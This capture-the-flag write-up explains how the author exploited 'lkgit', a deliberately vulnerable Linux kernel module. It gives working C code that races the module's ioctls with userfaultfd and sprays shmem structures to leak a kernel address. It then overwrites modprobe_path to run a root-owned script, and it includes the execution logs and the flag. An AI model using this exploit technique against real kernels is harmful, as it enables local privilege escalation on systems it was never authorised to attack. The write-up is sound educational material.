lkgit
Description
The man made two wonderful software. I make them worse and worse.
The flag is /home/user/flag.
nc 34.146.78.117 25252
Attachment: lkgit.tar.gz xpl.py pwn.c
Team: Super Guesser
lkgit was a kernel challenge mimicking a git
system in kernel space. It allows us to add files with a commit message into kernel memory, retrieving them and updating the commit message.
The module can be accessed via /dev/lkgit
and the functionality is handled via ioctl
calls.
static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
switch(cmd){
case LKGIT_HASH_OBJECT:
return lkgit_hash_object((hash_object *)arg);
case LKGIT_GET_OBJECT:
return lkgit_get_object((log_object*)arg);
case LKGIT_AMEND_MESSAGE:
return lkgit_amend_message((log_object*)arg);
default:
return -LKGIT_ERR_UNIMPLEMENTED;
};
}
The main issue in the implementation is, that lkgit_get_object
and lkgit_amend_message
use find_by_hash
to first get the index of the object to work on and store a reference to it, and then starts copying data to and from it.
Since there is no lock defined anywhere in the module, it’s possible to race this and for example abuse this in lkgit_get_object
to delete the object after it was fetched, but before the data is copied from it.
static long lkgit_get_object(log_object *req)
{
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char hash_other[HASH_SIZE] = {0};
char hash[HASH_SIZE];
int target_ix;
hash_object *target;
if (copy_from_user(hash, req->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(hash)) != -1)
{
target = objects[target_ix];
if (copy_to_user(req->content, target->content, FILE_MAXSZ))
goto end;
// validity check of hash
get_hash(target->content, hash_other);
if (memcmp(hash, hash_other, HASH_SIZE) != 0)
goto end;
// We would like execution to stop here
if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))
goto end;
if (copy_to_user(req->hash, target->hash, HASH_SIZE))
goto end;
ret = 0;
}
end:
return ret;
}
To make racing easier, we can use userfaultfd
.
If we can stop execution of lkgit_get_object
before the hash
gets copied back into the user object and delete the object and replace it with some kernel object, that contains useful data in the first 0x10
bytes and then continue execution, we could use this to leak kernel addresses.
Perfect situation for using userfaultfd
, setting up some pages and put our request object into that region, so that the kernel module can read hash
and content
from it, but will run into a page fault when trying to read message
. This way, execution in the kernel module would pause at the desired point and transfer execution into our userfault
handler (where we can delete the current object and replace it with a kernel object) and then trigger UFFDIO_COPY
, so execution will continue in the kernel module, copying the first 0x10
bytes from that kernel object into our user hash
value.
I’ll not go too deep into how to setup userfaultfd
for this writeup (just check attached pwn.c
how this is done, I added logs and comments to the userfault handling to make it very verbose).
Let’s start with preparing the leak for a kernel address. For this, we want to create an initial file, then try to request it and let the request page fault, when trying to fill the message of our request.
We create a page of size 0x2000
and align our request object in this page, so that hash
and content
are located in the first page and the message
object in the second page.
By this, lkgit_get_object
will trigger a page fault, when trying to write to message
, passing execution to our userfault
handler.
// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{
hash_object req = {
.content = content,
.message = message,
};
if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0)
{
printf("[ERROR] failed to hash the object.\n");
}
memcpy(out_hash, &req.hash, 0x10);
return 0;
}
char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];
void *break_on_read(void *args, struct uffdio_copy *uf_buf)
{
userfd_callback_args *cb_args = args;
puts("Userfault: break_on_read");
}
int main()
{
lkgit_fd = open("/dev/lkgit", O_RDWR);
printf("[+] Create initial file in lkgit\n");
snap_file(fileContent1, fileMessage1, hash1);
printf("[+] Register userfault fd\n");
userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read);
printf("[+] Request file, and let it break on copying back message\n");
log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message
memcpy(&req->hash, hash1, 0x10);
ioctl(lkgit_fd, LKGIT_GET_OBJECT, req);
close(lkgit_fd);
}
[+] Create initial file in lkgit
[+] Register userfault fd
Register userfaultdfd
======================================================================
[+] Userfaultfd registered : FD 4 / Flags: 0x1
[+] Userfaultfd api : Features 0x1ff
[+] Userfaultfd region : 0x7fc3e3f5f000 - 0x7fc3e3f61000[+] Userfaultfd region registered: ioctls 0x5c
[+] Userfaultfd process thread started: 0x7fc3e3f58f38
======================================================================
[+] Request file, and let it break on copying back message
Userfault event
======================================================================
PAGEFAULT : 0x7fc3e3f60000 / Flags 0x1
UFFDIO_COPY
Userfault: break_on_read
So, now we’re in our userfault handler break_on_read
, while the lkgit_get_object
function has already fetched the object to return, we can now just store another file with the same hash in the kernel. This will effectively delete the current object and store a new one there. While the object is deleted, let’s put a shmem
struct there and return to execution in lkgit_get_object
, which will then copy the first 0x10
bytes from the shmem
kernel object into the hash of our request.
void spray_shmem(int count, int size) {
puts("[+] spray shmem structs");
int shmid;
char *shmaddr;
for (int i = 0; i < count; i++)
{
if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1)
{
perror("shmget error");
exit(-1);
}
shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void *)-1)
{
perror("shmat error");
exit(-1);
}
}
}
void *break_on_read(void *args, struct uffdio_copy *uf_buf)
{
userfd_callback_args *cb_args = args;
puts("Userfault: break_on_read");
printf("[+]Delete current object by storing one with the same hash\n");
snap_file(fileContent1, fileMessage1, &hash1);
printf("[+] Create a shmem struct in the freed object");
spray_shmem(1, 0x20);
}
int main()
{
lkgit_fd = open("/dev/lkgit", O_RDWR);
printf("[+] Create initial file in lkgit\n");
snap_file(fileContent1, fileMessage1, hash1);
printf("[+] Register userfault fd\n");
userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read);
printf("[+] Request file, and let it break on copying back message\n");
log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message
memcpy(&req->hash, hash1, 0x10);
ioctl(lkgit_fd, LKGIT_GET_OBJECT, req);
unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));
modprobe_path = kernel_leak - 0x131ce0;
printf("[+] Kernel leak : %p\n", kernel_leak);
printf("[+] modprobe_path : %p\n", modprobe_path);
unregister_userfaultfd(uffdargs);
close(lkgit_fd);
}
Let’s see some bad drawing skills for getting a better idea :)
request object
||
||
\/
lkgit_get_object
||
||
\/
find_by_hash
||
||
\/
copy_to_user(content)
||
||
\/
copy_to_user(message)
||
|| (page fault)
||==============================> userfaulthandler (break on read)
||
||
\/
delete current object
||
||
\/
create shmem struct
||
||
||<============================================
||
||
\/
copy_to_user(hash)
So the last copy_to_user
will actually work on the shmem
structure which we sneaked into the (deleted) current object in our userfault handler, so we can leak a kernel address from it.
[+] Request file, and let it break on copying back message
Userfault event
======================================================================
PAGEFAULT : 0x7f410a0f7000 / Flags 0x1
UFFDIO_COPY
Userfault: break_on_read
[+]Delete current object by storing one with the same hash
[+] Create a shmem struct in the freed object[+] spray shmem structs
[+] Kernel leak : 0xffffffff81d6e800
Now that we have a kernel leak, we need to do the opposite way around to be able to write something. Similar to our leaking process, we can use lkgit_amend_message
and also “pause” it after acquiring the object, when it tries to read the message to write to the kernel object.
static long lkgit_amend_message(log_object *reqptr)
{
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char buf[MESSAGE_MAXSZ];
log_object req = {0};
int target_ix;
hash_object *target;
if (copy_from_user(&req, reqptr->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(req.hash)) != -1)
{
target = objects[target_ix];
// save message temporarily
if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // <= break here :)
goto end;
// return old information of object
ret = lkgit_get_object(reqptr);
// amend message
memcpy(target->message, buf, MESSAGE_MAXSZ);
}
end:
return ret;
}
We can then delete the current object and allocate another object, so that the message from this will be allocated over our current object (by which we can control the target->message
pointer for the current object in lkgit_amend_message
).
When we then continue execution, our new message will be copied to our crafted target->message
buffer instead of the original one.
Since the kernel configuration didn’t prohibit usage of usermode_helper
, I opted for overwriting modprobe_path
and then let it copy the flag and change it permissions, so we can easily read it afterwards.
void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{
userfd_callback_args *cb_args = args;
// Write address of modprobe_path to hash_object->message
unsigned long* lptr = fileMessage1+0x18;
*lptr = modprobe_path;
// Reallocate file to get current object freed
snap_file(fileContent1, fileMessage1, &hash1);
// Reallocate file to overwrite current freed object with crafted message
// => overwrite message ptr of current object
snap_file(fileContent1, fileMessage1, &hash1);
// Put the content into UFFDIO_COPY src argument (which will be copied to corrupted message ptr)
char mod[] = "/home/user/copy.sh";
memcpy(uf_buf->src, mod, sizeof(mod));
}
int main()
{
// Prepare modprobe_path exploitation
system("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");
system("chmod +x /home/user/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
system("chmod +x /home/user/dummy");
...
printf("[+] Register new userfaultfd\n");
uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);
// Align the request object, so that lkgit_amend_message will pagefault on reading new message
ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);
close(lkgit_fd);
// Execute modprobe_path exploitation
system("/home/user/dummy");
system("cat /home/user/flag2");
}
Everything in place, let’s run it on remote and get another flag :)
[+] Create initial file in lkgit
[+] Register userfaultfd
Register userfaultdfd
======================================================================
[+] Userfaultfd registered : FD 4 / Flags: 0x1
[+] Userfaultfd api : Features 0x1ff
[+] Userfaultfd region : 0x7f20d012a000 - 0x7f20d012c000[+] Userfaultfd region registered: ioctls 0x5c
[+] Userfaultfd process thread started: 0x7f20d0123f38
======================================================================
[+] Request file, and let it break on copying back message
Userfault event
======================================================================
PAGEFAULT : 0x7f20d012b000 / Flags 0x1
UFFDIO_COPY
Userfault: break_on_read
[+]Delete current object by storing one with the same hash
[+] Create a shmem struct in the freed object[+] spray shmem structs
[+] Kernel leak : 0xffffffffac76e800
[+] modprobe_path : 0xffffffffac63cb20
Unregister userfaultdfd
======================================================================
[+] Sent UFFDIO_COPY event to userfaultfd
======================================================================
[+] userfaultfd unregistered
======================================================================
[+] Register new userfaultfd
Register userfaultdfd
======================================================================
[+] Userfaultfd registered : FD 4 / Flags: 0x1
[+] Userfaultfd api : Features 0x1ff
[+] Userfaultfd region : 0x7f20d012a000 - 0x7f20d012c000[+] Userfaultfd region registered: ioctls 0x5c
[+] Userfaultfd process thread started: 0x7f20d00fbf38
======================================================================
Userfault event
======================================================================
PAGEFAULT : 0x7f20d012b000 / Flags 0
UFFDIO_COPY
[+] Sent UFFDIO_COPY event to userfaultfd
======================================================================
/home/user/dummy: line 1: \xff\xff\xff\xff: not found
TSGCTF{google_took_2years_but_you_found_hash_collision_in_a_day!}